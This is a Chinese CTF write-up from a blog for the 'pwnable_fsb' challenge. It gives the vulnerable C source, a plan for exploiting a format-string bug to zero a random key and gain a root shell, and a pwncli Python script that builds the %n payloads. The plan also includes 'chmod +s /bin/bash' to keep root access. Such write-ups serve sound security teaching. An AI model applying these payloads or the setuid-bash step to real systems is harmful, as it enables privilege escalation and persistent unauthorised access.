[BUUCTF] pwnable_fsb
pwnable_fsb
总结
直接用scp从远程主机下载二进制文件分析,你会发现远程主机执行的实际是x64文件而不是x86,并且开启了PIE防护。
checksec

可以直接下载远程的libc和ld,然后patchelf。
漏洞点
附上远程主机上的源码:
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
        char* args[]={"/bin/sh", 0};
        int i;
        char*** pargv = &argv;
        char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        *pargv=0;
        *penvp=0;
        for(i=0; i<4; i++){
                printf("Give me some format strings(%d)\n", i+1);
                read(0, buf, 100);
                printf(buf);
        }
        printf("Wait a sec...\n");
        sleep(3);
        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                setuid(0);
                setgid(0);
                execve(args[0], args, 0);
                return 0;
        }
        printf("Incorrect key \n");
        return 0;
}
int main(int argc, char* argv[], char** envp){
        int fd = open("/dev/urandom", O_RDONLY);
        if( fd==-1 || read(fd, &key, 8) != 8 ){
                printf("Error, tell admin\n");
                return 0;
        }
        close(fd);
        alloca(0x12345 & key);
        fsb(argv, envp); // exploit this format string bug!
        return 0;
}
非栈上的格式化字符串漏洞利用,虽然一开始栈随机降低了,但是可以根据地址计算出偏移。
利用思路
- 首先利用格式化字符串漏洞泄露出有用的栈地址和程序加载地址,计算出基地址
- 利用rbp跳板,在栈上布置key的地址
- 将key的内容写为0
- 获取root shell
- 执行chmod +s /bin/bash,避免掉线

EXP
写了个脚本手动输入一下然后交互:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
# %11$p,%14$p,%18$p,###
log_ex("please input: %11$p,%14$p,%18$p,###")
m = input("Gie me the input: ")
stack1, code1, stack2, *_ = m.split(",")
stack1 = int16_ex(stack1)
code1 = int16_ex(code1)
stack2 = int16_ex(stack2)
codebase = code1 - 0xcb8
log_code_base_addr(codebase)
log_address("stack1", stack1)
log_address("stack2", stack2)
offset = 7 + (stack2 - stack1) // 8
log_ex(f"offset: {offset}")
key_addr = codebase + 0x202040
log_address("key addr", key_addr)
if  key_addr & 0xffffffff >= 0x7ffffffff:
    errlog_ex_highlight("try again!")
first_payload = f"%{key_addr & 0xffffffff}c%18$n".ljust(0x18, "X")
second_payload = f"%{offset}$ln".ljust(0x18, "X")
log_ex(f"The first payload: {first_payload}")
log_ex(f"The second payload: {second_payload}")

等待一会儿输入第二段payload,然后输入key为0:
成功的一次:

引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/16104103.html

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号